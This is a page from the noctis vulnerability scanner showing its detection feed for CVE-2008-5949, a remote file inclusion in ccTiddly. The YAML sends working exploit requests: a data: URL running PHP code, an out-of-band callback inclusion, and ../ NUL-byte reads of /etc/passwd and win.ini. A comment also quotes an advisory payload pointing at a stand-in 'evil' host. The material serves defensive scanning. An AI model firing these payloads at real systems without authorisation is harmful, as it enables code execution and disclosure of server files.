ccTiddly — 1 vulnerability check
noctis ships 1 vulnerability check for ccTiddly, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ccTiddly includes/include.php cct_base Remote File Inclusion
| CVE | CVE-2008-5949 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/cctiddly/CVE-2008-5949.yaml |
Tests ccTiddly for the unauthenticated file inclusion in includes/include.php, which includes the cct_base parameter followed by "includes/ccAssignments.php" when register_globals is on. The feed requests includes/include.php under the usual install folders with cct_base set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, cct_base is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, the feed reads /etc/passwd (or windows/win.ini, boot.ini) through a ../ sequence ending in a NUL byte, confirmed only when the same request for an absent file returns no file content, and finally looks for a PHP include warning naming a random value followed by "includes/ccAssignments.php", which shows that the value reaches include_once() unchecked. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/includes/include.php?cct_base={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: ccTiddly includes/include.php cct_base Remote File Inclusion (CVE-2008-5949) - HTTP(S) request
GET {{dir}}/includes/include.php?cct_base={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/includes/include.php?cct_base=../../../../../../../../../../etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/includes/include.php?cct_base=../../../../../../../../../../windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/includes/include.php?cct_base=../../../../../../../../../../boot.ini%00 - … and 12 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2008-5949
- https://www.exploit-db.com/exploits/7336
- https://www.exploit-db.com/exploits/14560
- http://www.securityfocus.com/bid/42265
Feed source — tests/vulnerabilities/cctiddly/CVE-2008-5949.yaml
# ccTiddly includes/include.php cct_base remote file inclusion — CVE-2008-5949
#
# ccTiddly (server-side TiddlyWiki in PHP/MySQL, tiddlywiki.org) 1.7.4 and
# 1.7.6 rely on register_globals. includes/include.php starts with
#
# include_once($cct_base."includes/ccAssignments.php");
#
# (later trunk code: "includes/006_ccAssignments.php") and never sets
# $cct_base, so includes/include.php?cct_base=<x> includes
# "<x>includes/ccAssignments.php" before any login or check (advisories:
# exploit-db 7336 for 1.7.4, 14560 for 1.7.6, cct_base=http://evil/x.txt?).
# No fixed release is documented; the same unset $cct_base is still in the
# last public trunk code.
#
# Detection, per usual install folder (/cctiddly, /ccTiddly, the web root,
# /cct):
# 1. In-band code execution (QoD 97): cct_base is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
# URLs (allow_url_include, PHP >= 5.2) the code runs and the reply carries
# md5 of the product, a value the request never contains. If the wrapper is
# refused, PHP's warning quotes the code text, not the md5. The code has no
# quotes, so magic_quotes_gpc does not break it, and it writes nothing.
# 2. OOB (QoD 97, only when OOB is enabled): cct_base is the noctis callback
# URL followed by "?", so the appended "includes/ccAssignments.php" lands
# in the query string; a fetch of the URL is the remote inclusion
# (allow_url_fopen on PHP 4 / 5.0 / 5.1, allow_url_include later). This
# also covers servers that hide PHP errors and output.
# 3. Local inclusion (QoD 75): the source check's request — cct_base is a
# ../ sequence to etc/passwd (then windows/win.ini, boot.ini) followed by
# a NUL byte (PHP < 5.3.4 with magic_quotes_gpc Off cuts the path there).
# Reported only when the same request for an absent file (random missing
# folder, same file name) carries no file content, so a tarpit answering
# every request with a passwd file is not reported.
# 4. Fallback (QoD 75): cct_base is a random name; the reply must carry PHP's
# include_once() / main() / "Failed opening … for inclusion" warning
# naming "<random>includes/[006_]ccAssignments.php": the value went,
# concatenated, into include_once(). A page echoing its query string
# never adds that suffix.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_cctiddly_42265.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100769, GPL-2.0-only). Improvements: real code
# execution / OOB proof (the source check only reads a file through the NUL
# byte, which needs magic_quotes_gpc Off and PHP < 5.3.4), an absent-file
# control on the file read, the include-warning fallback, and no 200 gate on
# include.php (the page ends in a fatal error, a 500 when errors are hidden).
uid: c748a13c-dbb2-47f4-a6aa-4f2ee134c73b
name: "ccTiddly includes/include.php cct_base Remote File Inclusion (CVE-2008-5949)"
description: |
Tests ccTiddly for the unauthenticated file inclusion in
includes/include.php, which includes the cct_base parameter followed by
"includes/ccAssignments.php" when register_globals is on. The feed requests
includes/include.php under the usual install folders with cct_base set to a
data: URL carrying a small PHP snippet that prints the md5 of the product of
two random numbers; that md5 in the reply confirms that the server ran code
supplied in the request. When OOB is enabled, cct_base is also set to the
scanner's callback URL, and a fetch of that URL confirms the remote
inclusion even when PHP output and errors are hidden. Otherwise, the feed
reads /etc/passwd (or windows/win.ini, boot.ini) through a ../ sequence
ending in a NUL byte, confirmed only when the same request for an absent
file returns no file content, and finally looks for a PHP include warning
naming a random value followed by "includes/ccAssignments.php", which shows
that the value reaches include_once() unchecked. The snippet only prints a
hash and nothing is written on the server.
cves: [CVE-2008-5949]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [cctiddly, tiddlywiki, php, rfi, lfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-5949"
- "https://www.exploit-db.com/exploits/7336"
- "https://www.exploit-db.com/exploits/14560"
- "http://www.securityfocus.com/bid/42265"
# OpenVAS/Greenbone NASL 2010/gb_cctiddly_42265.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-lfi-found
action: set_var
var_name: lfi_found
var_value: false
- id: init-lfi-dir
action: set_var
var_name: lfi_dir
var_value: ""
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-lfi-proof
action: set_var
var_name: lfi_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/cctiddly", "/ccTiddly", "", "/cct"]
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-warn-cand
action: set_var
var_name: warn_cand
var_value: ""
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/includes/include.php?cct_base={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "ccTiddly includes/include.php cct_base Remote File Inclusion (CVE-2008-5949)"
description: "An unauthenticated request to includes/include.php with cct_base set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. ccTiddly includes cct_base without any check when register_globals is on, so an attacker can run any PHP code on the server."
remediation: "No fixed ccTiddly release is known: remove ccTiddly from the server or block access to its includes/, handle/ and plugins/ folders. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/includes/include.php?cct_base=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 4. Random value — include warning naming it (fallback, reported last) ─
# Sent to every folder not answering 404 (also when the code probe got no
# reply, status 0, e.g. a filter dropping "<?php").
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/includes/include.php?cct_base={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let hit = "";
for s in ["includes/ccAssignments.php", "includes/006_ccAssignments.php"] {
let f = probe.marker + s;
if b.contains("Failed opening '" + f + "' for inclusion") { hit = f; }
for w in ["include_once(", "include(", "require_once(", "require(", "main("] {
if b.contains(w + f + ")") { hit = f; }
}
}
hit
condition: "warn_found == false"
store_as: warn_cand
- id: warn-dir
action: script
code: "dir"
condition: 'warn_found == false && warn_cand != ""'
store_as: warn_dir
- id: warn-proof
action: script
code: "warn_cand"
condition: 'warn_found == false && warn_cand != ""'
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: 'warn_cand != ""'
# ── 3. ../ + NUL byte — local file read (the source check's request) ──────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/includes/include.php?cct_base=../../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "lfi_found == false && rce_r.status != 404"
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "lfi_found == false && passwd_r.status != 0"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
condition: "lfi_found == false && passwd_r.status != 0"
store_as: lin_proof
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/includes/include.php?cct_base=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lfi_found == false && lin_proof == "" && winini_r.status != 0'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/includes/include.php?cct_base=../../../../../../../../../../boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && lin_proof == "" && win_file == "" && winini_r.status != 0 && winini_r.status != 404'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lfi_found == false && lin_proof == "" && win_file == "" && bootini_r.status != 0'
on_match:
set_vars:
win_file: "boot.ini"
# Control: same request for an absent file in a random missing folder,
# still ENDING with the file that hit, so a honeypot keyed on that name
# answers it too. Must answer, with the same status as the request that hit
# (or a 500 against its 200), and carry no file.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/includes/include.php?cct_base={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lfi_found == false && ctrl_r.status != 0'
on_match:
set_vars:
ctrl_hit: true
- id: lfi-verdict
action: script
code: |
// Status of the request that hit. With errors hidden and output
// buffering off, the file printed before the page's fatal error keeps
// a 200 while the empty control gets a 500: accept that pair too.
let hs = if lin_proof != "" { passwd_r.status }
else if win_file == "windows/win.ini" { winini_r.status }
else { bootini_r.status };
let same = ctrl_r.status == hs || (hs == 200 && ctrl_r.status == 500);
if lfi_found == false && (lin_proof != "" || win_file != "")
&& ctrl_r.status != 0 && same && ctrl_hit == false {
if lin_proof != "" { "etc/passwd" } else { win_file }
} else { "" }
store_as: lfi_hit
- id: lfi-dir
action: script
code: "dir"
condition: 'lfi_hit != ""'
store_as: lfi_dir
- id: lfi-file
action: script
code: "lfi_hit"
condition: 'lfi_hit != ""'
store_as: lfi_file
- id: lfi-proof
action: script
code: 'if lin_proof != "" { lin_proof } else { "content of " + win_file }'
condition: 'lfi_hit != ""'
store_as: lfi_proof
- id: lfi-found
action: set_var
var_name: lfi_found
var_value: true
condition: 'lfi_hit != ""'
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# "%3F" makes the appended "includes/ccAssignments.php" a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/includes/include.php?cct_base={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "ccTiddly includes/include.php cct_base Remote File Inclusion (CVE-2008-5949)"
description: "An unauthenticated request to includes/include.php with cct_base set to the noctis callback URL made the server fetch that URL: ccTiddly includes cct_base without any check when register_globals is on, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "No fixed ccTiddly release is known: remove ccTiddly from the server or block access to its includes/, handle/ and plugins/ folders. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/includes/include.php?cct_base=<OOB URL>? (remote file inclusion)"
stop: true
# ── Local file read through the NUL byte, control clean ──────────────────
- id: report-lfi
action: match
source: lfi_file
pattern: "^(etc/passwd|windows/win\\.ini|boot\\.ini)$"
condition: "lfi_found"
on_match:
finding:
title: "ccTiddly includes/include.php cct_base File Inclusion (CVE-2008-5949)"
description: "An unauthenticated request to includes/include.php with cct_base set to a ../ sequence ending in a system file name and a NUL byte returned that file's content, while the same request for an absent file did not: ccTiddly includes cct_base without any check when register_globals is on. Any file the web server user can read is disclosed, and PHP code in an included file runs. Remote code inclusion was not confirmed (URL inclusion may be disabled, or OOB was not enabled)."
remediation: "No fixed ccTiddly release is known: remove ccTiddly from the server or block access to its includes/, handle/ and plugins/ folders. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{lfi_dir}}/includes/include.php?cct_base=../../../../../../../../../../{{lfi_file}}%00 returned {{lfi_file}} ({{lfi_proof}}); the control for an absent file returned no file content"
stop: true
# ── Fallback finding: include warning naming the random value ────────────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-zA-Z]+includes/(006_)?ccAssignments\\.php$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "ccTiddly includes/include.php cct_base File Inclusion (CVE-2008-5949)"
description: "An unauthenticated request to includes/include.php with cct_base set to a random value returned a PHP include warning for that value followed by includes/ccAssignments.php (or includes/006_ccAssignments.php): ccTiddly passes cct_base to include_once() without any check when register_globals is on. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
remediation: "No fixed ccTiddly release is known: remove ccTiddly from the server or block access to its includes/, handle/ and plugins/ folders. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/includes/include.php?cct_base={{probe.marker}} returned a PHP include warning for {{warn_proof}}"
stop: true